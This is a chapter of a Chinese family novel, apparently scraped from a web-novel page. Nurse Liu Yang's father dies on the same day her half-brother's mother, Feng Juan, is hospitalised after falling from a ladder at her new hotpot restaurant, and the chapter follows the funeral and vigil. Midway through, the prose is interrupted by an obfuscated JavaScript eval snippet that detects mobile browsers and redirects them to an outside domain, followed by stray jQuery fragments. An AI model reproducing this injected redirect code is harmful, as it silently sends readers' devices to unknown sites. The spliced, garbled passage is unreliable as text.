武汉夏天出了名的炎热，但秋冬天湿冷，而且没有暖气，更让人受罪，每年一变天，流感就迅速蔓延。11月中旬，几场雨落下来，柳漾和同事们的苦日子来了，护士长调了班次，柳漾比以往更忙，跟赵东南不常见面，她心里怨气不减，有火就发，绝不忍，日子就这么不咸不淡往前混。


    火锅店装修得七七八八，大老板程东升请高人算过，在众多备选店名里定了“有板眼火锅城”。有板眼在武汉话里是指有能耐，很厉害的意思，三老板肖晓钰带着服务员们在玻璃橱窗上贴着字样：火锅、家常小炒菜、肉丝炒面，砂锅粉丝煲，工人们在里屋搬桌子，冯鹃订的红灯笼到了，连忙去挂起来。


    新店新气象，张灯结彩，红红火火，肖晓钰夸冯鹃想得周到，冯鹃搬出三脚梯，拿着红灯笼挂去招牌两侧。左边挂好，冯鹃跳下来看看，去挂右边，踩上梯子让服务员看高度，冷不防两眼一黑，从梯子上摔下去。


    梯子不高，但偏偏不巧，冯鹃是头先着地，右脚还扎进了一根布满钉子的木条，肖晓钰连喊几声，她都没醒。


    冯鹃摔到了头部，众人不敢随便移动，电话打去秦飞那里，秦飞遥控指挥：“找救护车，送去617医院挂急诊，我直接过去。”


    医生为冯鹃做了处理，右脚的钉子被拔出，但颅内有出血，一直昏迷。综合病房住满了，楼道遍布加床，柳漾找科室主任徐怡翎帮忙，把冯鹃安排进一间特护病房，那里面住的老干部今天凌晨刚过世。


    柳漾忙完赶去冯鹃病房，手机振动起来，陈玉兰报了丧：“下午五点七分，你爸走了。”


    已是夜里，柳漾打去电话，陈玉兰手机占线，她可能正在通知其他亲属。柳漾靠着墙站了片刻，把眼泪逼回去，拧开病房的门，里头却没开灯，冯鹃仍未醒来，秦飞呆坐在她床前。


    柳漾走过去，窗外路灯光照进来，她轻声说：“我问过我们主任了，她说再晚一点可能就醒了。”


    秦飞不说话，柳漾递过手机，让他看到陈玉兰发来的那条信息，事情索性一起都来吧。秦飞眼中依稀有泪，脸侧向一旁，妈还没醒，爸死了，弟弟该怎么办？他低声说：“我妈倒下去差不多也是这个时间。”


    他的声音在哭，柳漾眼睛一热，抱着他的头，按到胸前，轻抚着他的背。她在急诊ICU病房工作过半年多，常常这样安慰病人家属。


    暗沉的光线里，两人相拥沉默，各哭各的。有泪落在头发上，秦飞平缓了许久，松开环抱柳漾的双手。柳漾说：“你去吃点东西，跟你弟弟也说一声吧，这里我看着。”


    秦飞坐着没动，柳漾去给他买吃的，路上又收到一条信息：“我和你大伯商量了，大后天早上出殡。”


    ICU外，有两个家属带着棉被和充电宝等生活用品，席地而坐，守护里面的亲人，柳漾帮他们倒了热水，再去冯鹃病房，她刚醒。


    秦飞告知了柳志华的死讯，冯鹃愣愣地望住一个地方，眼里毫无灵光神韵。柳漾让秦飞吃外卖，冯鹃回过劲：“我就说今天心跳得不正常，爬到梯子上，眼睛一花，人就倒了。”


    电热壶里烧着水，柳漾泡茶，冯鹃吃着饭，拼命说话。柳志华的爸在睡梦里去世，村里人都说是有福德之人，她希望柳志华走的时候也不痛苦。


    秦飞记得冯鹃当时还笑言，双方老人都送走，自己是四大皆空，不知多省心。他似有所悟，柳志华走了，他妈才是真正心里一空。以前问她为什么不放手，她总在找理由，振振有词，等柳漾出去后，他问：“你很喜欢老柳，是不是？”


    冯鹃闷头吃饭，秦飞一直看她，她连眼圈都没红，瞪儿子一眼：“肉麻。”继而飞快问，“你跟杰杰说了吗？”


    “我说你在店里忙，半夜才回家，我在加班，让他自己先睡，可以睡到自然醒，再一起去团风。”秦飞担心柳俊杰忽闻他爸死讯会害怕，只对他说老柳想儿子了，柳俊杰乖乖睡了。


    冯鹃拿起手机，找柳俊杰的班主任请假，秦飞瞥到柳漾竟在冯鹃最近联系人里，他刚扫上两眼，冯鹃挪开手机，不让他看，瞪起眼：“懂不懂什么叫隐私？”


    秦飞不解：“你们怎么有联系？”


    “她是护士，又是老柳的姑娘，我问两句都问不得？”冯鹃要下地，秦飞放下筷子去扶她，她试了试右脚，还不能走路，一跛一跛去上厕所。


    秦飞一瞥之下，来不及看到更多，但冯鹃和柳漾交流的不是柳志华，而是火锅店的进度，他等冯鹃睡下，去找柳漾，柳漾还在工作，也不给他好脸色：“我爸想问，怕我妈不高兴，让我问一下，不行啊？”


    秦飞觉得有点不对劲，但这也说得通，他向病房走去，忍不住转头看柳漾，她在安慰小病人。病人如织，没人知道柳护士失去了爸爸，他忽然意识到，自己是被安慰的那个，却忘记安慰她。


    秦飞在陪护床上睡下，大清早被护士查房惊醒，冯鹃又坐在病床上发呆，见他醒了，一通发号施令：“你去医院食堂给我买饭吃，买了就回去，带杰杰去团风，他有三天假。”


    秦飞问：“你呢，我让大姨过来？”


    秦飞的两个姨妈都当了祖辈，一个要照顾外孙，一个要照顾孙女，冯鹃认为劳师动众没必要，她只是右脚走路不方便，喊两个服务员左右一扶，往出租车一塞，她就回去了。这病房高级，中午之前她就退房，不然又得算一天费用。


    冯鹃是前妻，不用掺和葬礼的事，但秦飞拿不住她的态度，直接问了，冯鹃挥挥手，云淡风轻：“我去个什么，我巴不得省钱省心！”


    “我送杰杰去团风，掏多少红包合适？”秦飞理不太顺这门道，虚心请教，冯鹃转给他两万块钱，“我准备好了，你代表我们一家。”


    “我有钱。”秦飞不收，母子俩僵持，冯鹃告诉他这笔钱绝不能省，“再怎么样，他是杰杰他爸。杰杰一直不晓得我跟他爸离了婚，老柳说了，家里人都会瞒着他，永远不说，也没必要说。这个钱你要当着杰杰的面给，听懂了吗？”


    秦飞收了钱，昨晚他发过誓，只要冯鹃醒了，他以后都听她的。走出住院部，他特地绕去急诊，柳漾已经下班走了。


    柳漾在一家面包房吃早餐，要了热牛奶和新鲜出炉的葡萄干餐包。这段时间，她看出柳志华大限将至，每次一下大夜班，她就去团风跟他待着。


    柳志华行动不便，陈玉兰找村人借了轮椅，每天都把他推出去走一走，柳漾也在的话，就走得远些，去镇上看看。


    连日来，柳漾熟知柳志华少年时走哪几条路去上学，在哪个池塘里，他钓过一桶鲫鱼，在哪片竹林里遇见一只灰色的兔子，又是在哪一年，第一次吃到传说中的面包，里面还夹着葡萄干。


    柳志华说话费劲，这些事都是陈玉兰转述的，细节模糊的地方，他才进行更正。柳志华19岁去当兵，在那之前，他在交通部门的基层道班当临时工。镇上惟一的主干道是国道，当年还是沥青路，柳志华和同事们的主要工作任务是养护公路，保障畅通。


    管养工作不轻松，填补坑洼的路面，修整路边杂草、清理水沟以及培育苗木，柳志华每天都过得很闷，疾驰而过的外地车构成了他一天之中最大的乐趣，全国省份的简写，诸如琼黔桂冀，他背得滚瓜烂熟。


    有天一辆沪字牌的大卡车经过，司机下车撒尿，讨杯热茶喝，他有些咳嗽，柳志华塞给他几包胖大海，司机回赠他一只葡萄干面包。


    柳志华只在杂志上看到外国人的早餐是吃果酱涂面包，他吃了面包，觉得比白糖粽子好吃一百倍。但果酱是柳俊杰出生后的事情，冯鹃奶水不足，他在超市给儿子买奶粉，看到前排小玻璃罐上果酱字样，才打捞出那段旧记忆。


    匮乏的时代早已过去，柳志华对果酱的印象平平，但松软的面包仍是他心里第一等好食物。柳漾小时候，每到周末，柳志华就说给她加餐，给她买回面包和牛奶。


    武汉早餐出了名的丰富，最负盛名的当属热干面，但柳漾自小被柳志华培养的味觉偏甜，到现在她吃早餐也是甜口，一碗豆腐脑加两勺白糖，一份豆沙馅的欢喜坨，或是油墩子配一碗米酒冲鸡蛋，武汉人称为蛋酒，再或者是一只苕面窝配一杯豆浆。


    柳志华生命中最后的时光，每次柳漾去看他，都给他带各式面包，他进食困难，这种软烂食物，他一直吃到去世前夜。柳漾俯身去看她爸，他遗容平静，陈玉兰说昨天下午三点多，他吐了两次，还吃了一颗止疼药，说他想睡一会儿，话没说完就晕过去了。


    陈玉兰胆战心惊地守着，不时去试试他的鼻息，下午四点多，她感觉柳志华的身体在发冷，五点零七分，他停止了呼吸。柳漾不动声色，冯鹃从梯子上摔下，正是下午四点多，她接到秦飞的求助电话。


    陈玉兰和大伯为柳志华换上簇新的衣服，西装革履，脚上是柳漾找人定制的大码皮鞋。她结婚那天，伴娘们都夸柳志华帅，老帅哥去那边了，行头也得体体面面的，不能被笑话西裤配运动鞋。


    陈玉兰和柳志华的哥姐商量办丧事的细节，走得近的亲朋都通知了，还有些远亲正在联系，殡葬队的人也都请到了。酒席的厨子是借轮椅那家的亲戚，他们是做惯白喜事酒席的熟手，人工费打了七折，再额外送条香烟就行。


    柳漾对此都不懂，陈玉兰让她通知她这边的人就行，柳漾的好友不算多，最要好的便是结婚时那几位伴娘，在武汉的都答应过来，沈维发来红包：“回不了，节哀顺变。”


    昨天接到消息，柳漾就通知赵东南了，今天上午赵东南请了假，和她一起回了团风。他祖辈都健在，没参加过近亲的葬礼，更别提主理了，请教他作为女婿该做什么，陈玉兰说：“漾漾她爸说了，只要漾漾不受婆家的气，他就放心了。”


    陈玉兰难得说句重话，显然是察觉柳漾和赵东南的感情出了问题，尽管柳漾不承认，但独处时她流露的迷茫和失落情绪，让陈玉兰不安，她有责任点一点女婿。


    赵东南一听就懂，恳切道：“妈，有些事我是做得不好，已经在改进了，等元月份发了年终奖，我就跟漾漾买房，好好过日子。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15587049|171426||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    柳漾不吱声，专心地握住她爸的手。她爸没留下遗言，但对她的牵挂和担忧，她都懂。小时候，她就读的小学是水果湖二小，柳志华总牵着她送去学校。水果湖不产水果，据说是水口湖以讹传讹而成，但幼年的她总以为世上存在五彩缤纷水果满湖的景象，但愿天堂就是一片水果湖。


    许多年了，难得再握一下爸爸的手，上一次还是在家里拍全家福，柳漾站在中间，拉着爸妈的手，她爸的手温暖枯瘦，有微微汗意，她笑着，却很想哭，睁大了眼睛，才没让眼泪掉下来。


    照片是柳俊杰拍的，当时柳志华还遗憾，赵东南不在场，女婿是半个儿子，全家福理应有赵东南。


    柳漾也那样想过，她转过头去看赵东南，他在向大伯询问注意事项，她心里百味杂陈，他和那个小女孩当真没什么吗？这些天，这个问题一直搁在她心头。


    吻痕事件后，柳漾抗拒赵东南的求欢，一再争吵过，质问过，赵东南每次都态度端正，保证以后绝不再犯。但是需要妻子发火，他才意识到这是不能触犯的底线吗？那样深的吻痕，不是一扑一推之间就能留下的，他为什么不立刻推开？


    柳漾说不出有多失望，但难道为这件事就离婚？多少夫妻都在忍受相处中的大小摩擦，忍不了的时候，也对朋友撂狠话说不过了，日子却还是一天天过下去了。


    赵东南下午还有会议，吃了午饭就走，柳漾把他送到村口，缓缓走回来，陈玉兰问：“你跟他的感情出问题了？”


    柳漾否认了：“我就是想到他妈可能要来，烦心，一眼都不想看到。”


    丧事千头万绪等着陈玉兰，她无暇再问，但柳漾没什么好多说的。父母离婚，是到了无可回寰的地步：冯鹃怀孕了。赵东南和小女孩之间，只有个吻痕，没发生更多事吧？可是即便如此，她依然感到恶心。


    秦飞把柳俊杰送来，昨晚，柳俊杰独自在家睡了一晚上，乖得让秦飞想哭，秦飞把车停在村口，走在山路上，才说出噩耗，柳俊杰大哭着跑进门，扑在他爸身前哭。


    柳漾出于客套，问了一嘴，结果兄弟俩竟然真没吃饭。秦飞本想在路上买点吃的，柳俊杰直觉不妙，说他喉咙堵着，吃不下，饿着肚子来了。


    柳漾给两人下了青菜挂面，煎了荷包蛋，柳俊杰仍说他吃不下，柳漾垮下脸：“必须吃，你晚上得守灵，要保证体力。”


    柳俊杰吃着面，眼泪无声地掉进面碗里。秦飞送出三万块钱红包，冯鹃两万，他一万，陈玉兰不收，他坚持让她拿着：“办丧事花销大，老柳是杰杰的爸爸，我们开了火锅店，只拿得出这些，辛苦陈阿姨。”


    柳俊杰红着眼睛说：“我老妈开店忙，还摔伤了脚，阿姨很辛苦。”


    陈玉兰第一次摸了摸这孩子的头，以前每次留他在家里吃饭，都看在柳志华的份上，但孩子是好孩子，孩子没有错。


    秦飞公司的新项目任务紧，走了。柳俊杰一步都不离开他爸，柳漾下午睡了一觉，晚上来换柳俊杰守灵，柳俊杰不干，还坚持要搞懂守灵的意思。


    陈玉兰用柳俊杰能理解的语言告诉他，人做了新鬼，走黄泉路人生地不熟，心里慌，亲朋子女守着，为他壮胆也壮行。柳俊杰听哭了，撑到后半夜，他困得眼睛都睁不开，柳漾让他去睡，他不想离开他爸，柳漾拍拍自己的肩，柳俊杰迟疑，终因困意席卷，靠上她肩头。


    柳漾平时见这孩子，长手长脚，已是小少年的模样，但此刻依靠着她，显得很弱小，脖子细得好像撑不住，偏偏热乎乎的，姐弟俩相互依偎，很快都睡着了。


    次日清晨，柳家老亲戚陆续都来了，柳漾和柳俊杰分头补觉，吃完晚饭换陈玉兰去睡觉，姐弟俩继续守灵。傍晚赵东南也来了，夫妻俩守了一个通宵。


    出殡当天清晨大降温，秦飞给柳俊杰带来羽绒背心，站在门口看着柳漾靠在赵东南怀里睡着，她不知梦见什么，扑簌簌地流着眼泪，他没惊动两人，去楼上房间找柳俊杰。


    柳志华上午就要入土，柳家亲戚起得早，人声渐渐响起。柳漾醒了，惊觉自己哭出一脸泪水，她用手背揩了一把，不明白为什么会哭，梦里明明是一些凌乱的甜蜜往事，谈恋爱第一年，冬天来得很早，赵东南接她下班，等到她填写交班报告，他冲去医院大楼门口的小摊买糖炒栗子，热乎乎的纸袋往她手上递：“你快捧着。”


    外头的雪落得厚，柳漾拂去他大衣上的雪花，剥开一颗板栗，喂给他吃，自己再吃一颗，然后一起去吃羊肉锅。此时再想起，她怅惘一笑。


    大伯和抬棺的人进来，早上8点7分，柳志华入棺，这个时间是找人算过的，说是能福泽后代。


    柳志华被众人抬起，柳漾看见他腰带上系了一串很小的中国结，必是陈玉兰亲手编织，她回头看陈玉兰，陈玉兰一言不发，目视柳志华被抬入棺材里。


    这串中国结，是他们的信物吧，做个凭证，来生再见。柳漾心头涌起悔意和不安，她妈对她爸感情极深，她本该早点成全他们，可是事情不推到那一步，她就做不到那一步。